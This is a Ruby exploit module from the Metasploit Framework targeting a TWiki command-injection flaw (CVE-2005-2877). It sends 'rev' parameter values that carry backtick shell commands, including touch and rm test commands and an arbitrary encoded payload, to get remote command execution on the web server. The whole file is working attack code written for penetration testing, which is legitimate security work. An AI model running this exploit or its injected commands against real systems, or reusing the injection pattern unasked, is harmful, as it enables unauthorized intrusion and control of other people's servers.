metasploit-framework/modules/exploits/unix/webapp/twiki_history.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'TWiki History TWikiUsers rev Parameter Command Execution',
'Description' => %q{
This module exploits a vulnerability in the history component of TWiki.
By passing a 'rev' parameter containing shell metacharacters to the TWikiUsers
script, an attacker can execute arbitrary OS commands.
},
'Author' =>
[
'B4dP4nd4', # original discovery
'jduck' # metasploit version
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2005-2877' ],
[ 'OSVDB', '19403' ],
[ 'BID', '14834' ],
[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev' ]
],
'Privileged' => true, # web server context
'Payload' =>
{
'DisableNops' => true,
'BadChars' => '',
'Space' => 1024,
},
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Sep 14 2005',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [ true, "TWiki bin directory path", "/twiki/bin" ]),
], self.class)
end
#
# NOTE: This is not perfect, since it requires write access to the bin
# directory. Unfortunately, detrmining the main directory isn't
# trivial, or otherwise I would write there (required to be writable
# per installation steps).
#
def check
test_file = rand_text_alphanumeric(8+rand(8))
cmd_base = normalize_uri(datastore['URI'], '/view/Main/TWikiUsers?rev=')
test_url = normalize_uri(datastore['URI'], test_file)
# first see if it already exists (it really shouldn't)
res = send_request_raw({
'uri' => test_url
}, 25)
if (not res) or (res.code != 404)
vprint_warning("WARNING: The test file exists already!")
return Exploit::CheckCode::Unknown # Need to try again
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end
# try to create it
vprint_status("Attempting to create #{test_url} ...")
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rev = rand_text_numeric(1+rand(5)) + ' `touch ' + test_file + '`#'
res = send_request_raw({
'uri' => cmd_base + Rex::Text.uri_encode(rev)
}, 25)
if (not res) or (res.code != 200)
return Exploit::CheckCode::Safe
end
# try to run it, 500 code == successfully made it
res = send_request_raw({
'uri' => test_url
}, 25)
if (not res) or (res.code != 500)
return Exploit::CheckCode::Safe
end
# delete the tmp file
print_status("Attempting to delete #{test_url} ...")
rev = rand_text_numeric(1+rand(5)) + ' `rm -f ' + test_file + '`#'
res = send_request_raw({
'uri' => cmd_base + Rex::Text.uri_encode(rev)
}, 25)
if (not res) or (res.code != 200)
vprint_warning("WARNING: unable to remove test file (#{test_file})")
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end
return Exploit::CheckCode::Vulnerable
end
def exploit
rev = rand_text_numeric(1+rand(5))
rev << ' `' + payload.encoded + '`#'
query_str = normalize_uri(datastore['URI'], '/view/Main/TWikiUsers')
query_str << '?rev='
query_str << Rex::Text.uri_encode(rev)
res = send_request_cgi({
'method' => 'GET',
'uri' => query_str,
}, 25)
if (res and res.code == 200)
print_status("Successfully sent exploit request")
else
fail_with(Failure::Unknown, "Error sending exploit request")
end
handler
end
end